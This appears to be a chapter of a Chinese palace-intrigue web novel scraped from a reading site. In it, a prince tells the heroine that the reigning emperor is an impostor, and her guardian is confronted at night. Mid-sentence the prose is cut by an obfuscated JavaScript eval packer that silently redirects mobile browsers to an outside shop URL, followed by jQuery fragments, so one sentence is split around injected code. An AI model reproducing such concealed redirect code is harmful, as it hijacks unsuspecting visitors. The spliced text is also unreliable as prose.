文趣网 > 其他小说 > 见阑珊 > 12. 相逢应不识
    翌日又是一场雨,白问引早早离府,临行前叮嘱萧掌柜,禁止白尧叙靠近他那边的院落。又自知若是白尧叙想要硬闯,萧掌柜也拦不住,就又补了一句尽量拦住,拦不住便罢了,萧掌柜点头称是,送他出门。

    楼玉京醒在晌午,饭菜楼韫热了好几回,这会还温着,她随便对付几口便出了门。

    门外青砖潮湿,细雨连绵,廊下白尧叙不知站了多久,他确实没有太过靠近,身边是萧府花园,就算萧掌柜代为劝阻,若他说只是赏花,对方也没有其他理由赶他走。

    楼玉京撑伞走去,近时伸手抚花,惹得指尖濡湿一片。

    “王爷好雅兴,只是究竟到此是为了赏花,还是等我主动走过来,与您一叙?”

    “楼老板是聪明人,若真真不知,便不会来了。”

    楼玉京侧身赏景,声音轻快,“我一是赏景而来,二是……”

    “王爷,我并不明白你们究竟为什么这样执着于朝华的归属。”

    白尧叙折下一朵琼花,方才解释:“有传言称,得朝华者得天下,能请到朝华做军师,皇位近乎胜券在握。”

    楼玉京脚步一顿,“这个传言从何而来?”

    白尧叙倒是迟疑了:“你没听过?不少人认为此言非虚,只是因为这话出自太傅口中,毕竟他与朝华熟识,又在朝堂上待了那么多年,权势地位丝毫未减,无论疑心再重,误杀多少忠臣,历代几位皇帝无一人敢动他。”

    “那你们又怎么确认这不是他为了自保而散发的谣言?”豆大的雨滴打在花瓣上,一朵琼花摇摇晃晃,待水滴落地,方才重新立直。

    白尧叙将手中琼花插入泥里,而后以水珠净手,摩挲着指节的扳指,说:“凭景元帝不信传言,试图杀他。那一日他被押上断头台,朝华初次现身,狂风大作,暴雨连绵,冲刷了城外三座村庄。所幸赶上城中市集,村里大部分人都进城采购,基本无人伤亡。那之后的某夜,景元帝梦中一蒙面女子行刺与他,深夜惊醒,至此他再不敢动楼太傅。”

    楼玉京却是笑。

    “倘若朝华真有这通天的本事,哪里轮得到谢氏做皇帝?”

    “楼老板慎言,李明德尚未离开,你我未必有把握保证萧府没有他的人。”

    兵来将挡,水来土掩。现下她不是挡兵的将,也不是掩水的土,就将话题带去,说道:“王爷留三皇子一人在京,除却李芷华,您在他身边又放了多少人?”

    白尧叙淡淡道:“这并非楼老板该关心的事,至少在这个节骨眼上太子没必要对三殿下动手。只要朝华尚在中立,他能顺利登基,三殿下痴傻,至多太子也只是软禁他。”

    “但您不是太子党,朝华的态度模糊不清,太子等人疑心最重,宁可错杀,绝不放过。若李芷华真有身手保他无虞便罢了,倘若一朝不慎,三殿下意外消失,您真的还有能力再扶其他皇子与之抗衡么?”

    白尧叙默然,听得楼玉京继续说:“就算您等得起,太子又真的还会再给你这样一个机会么?往难听了说,您保证太子登基后不会杀您么?”

    “楼老板,原本我只是想借你的手去向太傅施压,但你这三问,不正恰恰暴露了自己吗?我着实不信一个市井小民能对朝堂与太子这样熟悉。或者说……朝华小姐,您真的不打算正式与我交谈吗?”

    楼玉京刹那僵硬,哪怕只有几息,白尧叙也确定他赌对了。

    “你是楼氏夫妇的女儿,楼老板。”

    这句不再是试探与下注,她僵硬的几息里他确认了这个事实。

    不枉他当初远在京城,在皇帝病重前顶风作案的那番调查。

    “你知道多少?”楼玉京听到了自己颤抖的声音,白尧叙既然知道她出身何处,再掩藏也毫无意义了,倒不如与他正面交谈,至少他能站在这里就代表他暂时不想暴露她。

    白尧叙笑了起来,说:“你父母当年站了太子,但棋差一招,输给了二皇子,也就是当今的陛下,而后被斩草除根。这是你听到的版本,对不对?”

    “如果我说,玉京。我见过你。如果我说,二皇子早就死了呢?”

    “!!!”楼玉京张了张嘴,却发不出声。

    她不记得自己几时与琼景王见过了。何况于她而言,更重要的是倘若二皇子早就死了,那么当下皇位上的,又是谁?

    雨仍旧在下,声音愈发清晰,下得也越来越密集,不见得要停。

    白尧叙继续说:“现在这位陛下,是冷宫里出来的三皇子,二殿下只是他的挡箭牌。其实当初李明德也不打算扶持一个宫女生的皇子,奈何二殿下性情暴虐。在接受李氏一族的支持后,他认为自己稳坐皇位,对李明德提的要求愈发过分,甚至某次醉后,在李府发酒疯,大骂李府的人是他的狗。”

    楼玉京大抵明白了,李明德不会想要难控制的自大狂。

    “而那日,恰好我路过你的家乡,那时我一个人上街,看见你娘乔装后牵着你在买一串糖葫芦。你说你要吃那串最大的。”白尧叙看了她一眼,接着说。

    “我回去以后,赶上三殿下求他,比起二殿下那个疯子,三殿下更加省心,但他也知道那群老顽固看不上宫女生下的皇子,便在某次狩猎时佯装不慎,划了二殿下的脸。先帝依旧是李氏的傀儡,加之已有太子,便没有太过苛责,只是罚了俸禄。”

    雨渐渐小了,那段回忆楼玉京确实有想起,却不知当时就是他在看着自己与阿娘,家乡这个词也太过遥远了,模糊得像旧铜镜照不清的那张脸。

    “太医早接了李明德的话,说他的脸治不好,二殿下嫌丑,只得日日戴着面具。于是到了逼宫的时候,他在三殿下脸上划了一样的伤,戴了一样的面具,杀了二殿下,推三殿下替了他的位置。”

    “……既然他是临时上位,又何必要我爹娘的命?”

    “因为先帝太子留有遗孤,只是那遗孤下落不明,楼氏夫妇是太子亲信,孩子最有可能在他们手里,奈何两人什么都不肯说,李氏施压,陛下下令,教他们不得不死。”

    楼玉京这会被巨大的冲击撞得天旋地转,二皇子早已死去,害她爹娘的不仅是皇帝,还有李氏,甚至还可能存在其他势力。

    那楼悯弦呢?他为什么不告诉她?是不知道么?

    可是太傅在朝多年,见证了几位皇帝的更迭,他又怎么会不知道呢?

    “惊讶么?在想楼悯弦?”白尧叙转身已经准备离去了,只是一想到她可能还是不可置信楼悯弦瞒了她这么多,便又开口,“朝华小姐,作为盟友我有必要提醒你,最好不要离太傅太近。”

    这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845931|211733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    样一波冲击,他确信楼玉京知道要怎么选了,所以先以盟友的身份自居。

    楼玉京抱着头蹲了下来,眼珠乱转,甚至连手都有些抖。这样一个事实早已不再是简单的要杀皇帝了,其背后牵扯的远没有她布局之深,哪怕她留了后手,此刻看来也是完全不够,甚至可以推翻了。

    李芷华的骗局,真相的隐瞒。如果就连楼悯弦也在骗她——如果她信赖了这么多年的恩人——甚至可以说是她的……养父。

    倘若连他都在骗她,那么她从他身上得到的信息,又有多少是真,多少是假?

    她又真的还能信他吗?

    不。

    不不不。

    不应该的。

    楼玉京猛然站了起来,白尧叙已经打伞离开了。

    这段话的冲击虽然强到她有些难以承受,但是。

    但是楼悯弦这么多年都没有做过害她的事,他会猜不到有人会把他隐瞒的事情告诉自己吗?

    显然是不会的。

    或许这其中存有误会呢?万一有白尧叙不知道的隐情呢?

    就凭那么多年的朝夕相伴,楼悯弦多次护她,她可以用他的情报制定反击,但她从来也没有想过要害他分毫。所以她要冷静,不能三言两语就被人当刀使,就怀疑他,就……恨他。

    这场雨依然细密地下着,不知什么时候才会停下,楼玉京站在廊下,雨幕遮掩,愈发模糊。白尧叙远远打伞站着,看了不知多久。

    另一边,京城雨过天晴。养心殿三进三出,太医来了又去去了又来,大多都颤颤巍巍地摇头,与谢衍知说,怕是不过三天了。谢衍知跪在榻边,低着头一言不发。待到太医齐齐离去,宫女也端着空碗往外走,他才抬头看向几乎快要咽气的皇帝。

    他没有笑,平静地起身行至门口,门外阿福作揖:“殿下,属下已传信让丞相回撤,陛下……之前,他会回来。”

    “退下吧。”

    “属下明白。”

    夜已深沉,近日多雨,楼悯弦刚回到正厅收伞,忽觉身后有人,他并未声张,抖了抖伞上的水,幽幽开口。

    “世子总喜欢不请自来,下回烦请上贴,否则我也不必再与您讲礼数了。”

    白问引自黑暗中走出,闻言却是端起茶水,那份不知礼数的样子于楼悯弦眼里,与外头的地痞流氓别无二致。

    “夜已深了,殿下有话直说罢。”

    “你给她的名册,问题可大着。”

    天空忽然电闪雷鸣,白光乍泄,照得两人清晰看见对方眼中的杀意。

    楼悯弦按捺住那股冲动,沉声道:“偷看别人的书可不是什么好习惯,不过也对,世子自幼野着长大,没有人教,不懂这些礼数,做长辈的也不好说你不是。”

    “太傅自诩礼数周全,但请问您,尊卑有序,您以什么身份称为我的长辈?”白问引并未动怒,句句属实。

    楼悯弦淡淡道:“殿下深夜前来,只为了越俎代庖,替她问我名册之事?她知道你口中的合作是在利用她么?”

    白问引看着他,半晌,却是笑了。

    “果然是太傅,几句文绉绉的话,就给我织了顶帽子。”白问引说着,敛了笑,声音陡然冷下,“只是你自己心里清楚,我与你之间,究竟是谁在利用她。”